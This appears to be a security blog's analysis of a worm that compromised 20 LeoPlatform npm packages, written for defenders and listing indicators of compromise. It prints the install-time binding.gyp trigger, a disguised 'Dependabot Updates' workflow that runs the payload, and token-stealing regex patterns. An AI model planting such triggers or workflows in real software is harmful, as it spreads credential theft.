Miasma Worm Infects Multiple LeoPlatform npm Packages

SafeDep Team
7 min read

Table of Contents

A Miasma worm variant hit the LeoPlatform npm ecosystem on June 24, 2026. The attacker compromised a single maintainer’s npm and GitHub tokens and used them to publish infected versions of 20 packages in a 3-second burst. The same tokens pushed weaponized GitHub Actions workflows, disguised as Dependabot, to at least three repos. The payload matches the Miasma supply chain attack toolkit documented in our earlier source code analysis: a polymorphically packed Bun-based credential stealer and self-propagating worm that targets npm, PyPI, RubyGems, GitHub, AWS, Kubernetes, HashiCorp Vault, and AI coding tool configurations.

20 npm packages compromised in this campaign.
This campaign

TL;DR

  • 20 npm packages under the LeoPlatform / LeoInsights org received malicious updates at 2026-06-24T23:04:55Z
  • Every infected package contains a binding.gyp that triggers the payload during npm install, bypassing lifecycle script scanners
  • The payload is identical across all 20 packages after decryption (same SHA256), packed with per-package ROT cipher values and AES-128-GCM keys
  • The compromised maintainer account (czirker) also pushed orphan snapshot-* branches to three GitHub repos, each carrying a 5.2 MB worm payload and a fake “Dependabot Updates” workflow
  • Combined weekly download count across the 20 packages is roughly 13,600

The 20 infected packages

All 20 packages were published within the same 3-second window. The npm registry time metadata confirms they share a single automated publish run:

Compromised packages
EcosystemPackageVersion
1npmrstreams-shard-util1.0.1
2npmleo-logger1.0.8
3npmrstreams-metrics2.0.2
4npmleo-cdk-lib0.0.2
5npmleo-auth4.0.6
6npmleo-streams2.0.1
7npmserverless-convention2.0.4
8npmleo-cache1.0.2
9npmleo-connector-elasticsearch2.0.6
10npmleo-connector-mysql3.0.3
11npmleo-connector-redshift3.0.6
12npmleo-connector-mongo3.0.8
13npmleo-sdk6.0.19
14npmserverless-leo3.0.14
15npmleo-cli3.0.3
16npmleo-config1.1.1
17npmleo-cron2.0.2
18npmleo-aws2.0.4
19npmleo-connector-oracle2.0.1
20npmsolo-nav1.0.1
20 rows
| 3 columns

The highest-traffic targets are leo-logger (3,140 weekly downloads), leo-sdk (1,830), leo-aws (1,730), leo-config (1,709), and leo-streams (1,497). Four packages under the same maintainers were not infected: leo-connector-common, leo-connector-entity-table, leo-connector-postgres, and leo-connector-sqlserver. All four have their npm latest dist-tag pointing to a prerelease version (-rc or -beta). The worm likely skips packages where the latest tag is not a stable release.

How the infection works

Every infected package received the same three modifications compared to its previous clean version.

1. A new binding.gyp file. The file contains a single node-gyp target that uses command expansion to run node index.js during npm install:

// binding.gyp (identical across all 20 packages)
{
"targets": [
{
"target_name": "nothing",
"type": "none",
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
}
]
}

The <!(...) syntax is a GYP command expansion that runs a shell command during project generation. npm automatically invokes node-gyp rebuild when a binding.gyp is present, regardless of whether the package.json defines any install or postinstall script. This bypasses tools that only inspect lifecycle scripts.

2. A replaced index.js. The original module code is wiped and replaced with a single-line obfuscated payload of roughly 5.2 MB. The obfuscation has three layers:

try { eval(
ROT-N( charCodeArray.map(c => String.fromCharCode(c)).join(""), N )
)}

Each package uses a different ROT value (5, 8, 19, or 23) and a different set of AES-128-GCM keys. After decryption, every package yields the same two blobs:

BlobPurposeDecrypted SHA256
_bBun runtime bootstrapper (907 bytes)ceff7c51d70832...ea154108
_pWorm payload (781,580 bytes)9f93d77d328338...9a6db015

The _b blob downloads Bun 1.3.13 from GitHub releases, caches the binary in a temp directory, and exposes a global getBunPath() function. The _p blob (the worm) is written to /tmp/p<random>.js and executed via bun run. The temp file is deleted after execution.

3. A new bun dependency. Every infected package.json adds "bun": "^1.3.13". This is the npm Bun installer package, likely included as a fallback path for environments where the bootstrapper’s curl download fails.

Root cause: one compromised maintainer

The npm account czirker (Clint Zirker, [email protected]) is the only maintainer present on all 20 infected packages. Other maintainers like leoinsights, jgrantr, and elsmob appear on subsets, but czirker is the common denominator. The worm used this account’s npm token for the mass publish and its GitHub token for the repo-level attacks.

A registry metadata query confirms the maintainer list:

Terminal window
curl -s "https://registry.npmjs.org/rstreams-shard-util" \
| jq '{maintainers, "dist-tags", time}'
{
"maintainers": [{ "name": "czirker", "email": "[email protected]" }],
"dist-tags": { "latest": "1.0.1", "beta": "2.0.0-beta.1" },
"time": {
"1.0.0": "2024-11-05T21:36:55.013Z",
"1.0.1": "2026-06-24T23:04:55.296Z"
}
}

The jump from 1.0.0 (November 2024) to 1.0.1 (June 24, 2026) is the infected version. This pattern repeats across all 20 packages: a long-dormant legitimate package suddenly receives a new version with a 5 MB index.js and a binding.gyp.

GitHub repo poisoning

The worm did not stop at npm. GitHub event logs for three LeoPlatform repositories show czirker creating orphan branches named snapshot-<hex> at 22:50 UTC, roughly 14 minutes before the npm publishes:

22:50:34Z CreateEvent czirker snapshot-f121a878 LeoPlatform/Nodejs
22:50:52Z CreateEvent czirker snapshot-463d9ff7 LeoPlatform/auth-sdk
22:50:58Z CreateEvent czirker snapshot-afacc302 LeoPlatform/Leo
23:03:04Z PushEvent czirker snapshot-f121a878 LeoPlatform/Nodejs
23:04:55Z (npm publishes begin)

The commit on the snapshot-f121a878 branch of LeoPlatform/Nodejs tells the story. It is an orphan commit (no parent) authored as czirker, with the message “chore: update dependencies”. It adds two files:

added .github/workflows/npm-publish.yml (+19 lines)
added _index.js (+1 line, 5,285,240 bytes)

The _index.js is the same 5.2 MB worm payload. The workflow is a weaponized GitHub Actions pipeline:

// .github/workflows/npm-publish.yml @ 5b32ae020b1b (orphan commit)
name: Dependabot Updates
run-name: Dependabot Updates
on:
push
permissions:
id-token: write
contents: read
jobs:
release:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
- uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6
- name: prepare
run: bun run _index.js
env:
OIDC_PACKAGES: "leo-sdk"
WORKFLOW_ID: "npm-publish.yml"
REPO_ID_SUFFIX: "LeoPlatform/Nodejs"

Three things stand out. The workflow triggers on every push to any branch. It requests id-token: write, which grants access to a GitHub OIDC token that can be exchanged for npm publish credentials via npm’s trusted publishing. And it is named “Dependabot Updates” to blend in with legitimate dependency PRs.

A follow-up commit, this time impersonating dependabot[bot], replaced the OIDC parameters with a direct NPM_TOKEN: ${{ secrets.NPM_TOKEN }} reference, suggesting the worm tries multiple publish strategies. Both the actions/checkout and oven-sh/setup-bun SHAs point to legitimate releases (a January 2026 checkout fix and Bun setup v2.2.0, respectively).

The master branch of LeoPlatform/Nodejs is clean. The weaponized workflow lives only on the orphan snapshot branch, where it would execute if merged or if a CI configuration runs workflows from all branches.

The worm payload

The inner code uses the standard javascript-obfuscator pattern: a _0x66ee string lookup table with 2,588 entries, a _0x42e6 decoder function, and a secondary runtime-constructed decoder (fb12914b2) called 519 times to decrypt environment variable names and API endpoints.

Static string analysis of the decrypted payload reveals the same capability set documented in our Miasma source code analysis:

Credential theft across npm, GitHub (PATs, OIDC, JWTs), PyPI, RubyGems, Kubernetes service account tokens, HashiCorp Vault, AWS (IAM keys, STS, IMDS, Secrets Manager, SSM), 1Password, JFrog Artifactory, and SSH private keys.

Secret scanning via regex patterns for auth tokens, private keys, and .npmrc credentials:

// Regex patterns extracted from the decrypted payload string table
/"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g
/-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----/g
/ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g

AI coding tool targeting, the Miasma family signature: the payload references claudeSettingsPath, cursorRulesPath, geminiSettingsPath, and vscodeTasksPath.

npm worm propagation with automated package enumeration (npmRepos, maxPackages), version bumping (newVersion), and publish tracking (totalPackages, published, failed, publishStepIndex).

GitHub Actions workflow scanning using regex for npm publish and yarn publish in CI configs, with hasIdTokenWrite checks for OIDC-based publishing.

For a complete breakdown of each module, see Inside the Miasma Software Supply Chain Attack Toolkit.

Indicators of compromise

Indicators of Compromise
TypeIndicatorContext
1Filebinding.gypInstall-time trigger, added to every infected package
2File Patternindex.js (~5.2 MB single line)ROT-N + AES-128-GCM obfuscated worm payload replacing original
3npm Dependencybun@^1.3.13Added to all infected packages to bootstrap Bun runtime
4SHA256 (Bun bootstrapper)ceff7c51d70832c3ec8dd2744b606a23b3c924ef664ae23439b9b742ea154108Decrypted _b blob (identical across all 20 packages)
5SHA256 (worm payload)9f93d77d32833a515bc406c46da477142bb1ac2babeecb6aa42f98669a6db015Decrypted _p blob (identical across all 20 packages)
6SHA1 (leo-logger-1.0.8.tgz)24a0d9e496ec07ca978fab602d5f5e0b39fa03a0Infected tarball
7SHA1 (serverless-convention-2.0.4.tgz)5e75c14b8acd5752819ab7a10874ddd6389f5238Infected tarball
8SHA1 (leo-cache-1.0.2.tgz)e973173fb757d2dab9c6424b440dd9f7cbe4f14aInfected tarball
9SHA1 (rstreams-shard-util-1.0.1.tgz)a8cb86b78ca56befe90dc466642cb04b98079909Infected tarball
10GitHub Branch Patternsnapshot-<8 hex chars>Orphan branches created by the worm on compromised repos
11GitHub Commit Authordependabot[bot]Impersonated author on worm commits
12GitHub File_index.js (~5.2 MB)Worm payload dropped into GitHub repos
13GitHub Workflow NameDependabot UpdatesWeaponized workflow disguised as Dependabot
14GYP Command<!(node index.js > /dev/null 2>&1 && echo stub.c)node-gyp command expansion trigger in binding.gyp
15Bun Download URLgithub.com/oven-sh/bun/releases/download/bun-v1.3.13/Runtime downloaded by the Bun bootstrapper
16Temp File Pattern/tmp/p<random>.jsWorm payload written to disk before Bun execution
16 rows
| 3 columns

Quick detection check. Any npm package that added a binding.gyp containing <!(node index.js in a recent version bump, combined with a new "bun" dependency and an index.js that grew to several megabytes, should be treated as infected.

Infected packages (CSV)

miasma-worm-leoplatform-packages.csv
EcosystemPackageVersion
1npmrstreams-shard-util1.0.1
2npmleo-logger1.0.8
3npmrstreams-metrics2.0.2
4npmleo-cdk-lib0.0.2
5npmleo-auth4.0.6
6npmleo-streams2.0.1
7npmserverless-convention2.0.4
8npmleo-cache1.0.2
9npmleo-connector-elasticsearch2.0.6
10npmleo-connector-mysql3.0.3
11npmleo-connector-redshift3.0.6
12npmleo-connector-mongo3.0.8
13npmleo-sdk6.0.19
14npmserverless-leo3.0.14
15npmleo-cli3.0.3
16npmleo-config1.1.1
17npmleo-cron2.0.2
18npmleo-aws2.0.4
19npmleo-connector-oracle2.0.1
20npmsolo-nav1.0.1
20 rows
| 3 columns
  • npm
  • oss
  • malware
  • supply-chain
  • shai-hulud
  • ai-coding-agents
  • github

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

MYRA: A Full Linux RAT Distributed via npm

MYRA: A Full Linux RAT Distributed via npm

The npm package apintergrationpost is a red team RAT called MYRA with native C rootkit, triple persistence, fileless execution, live screen streaming, and process masquerade. This analysis documents...

SafeDep Team
Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.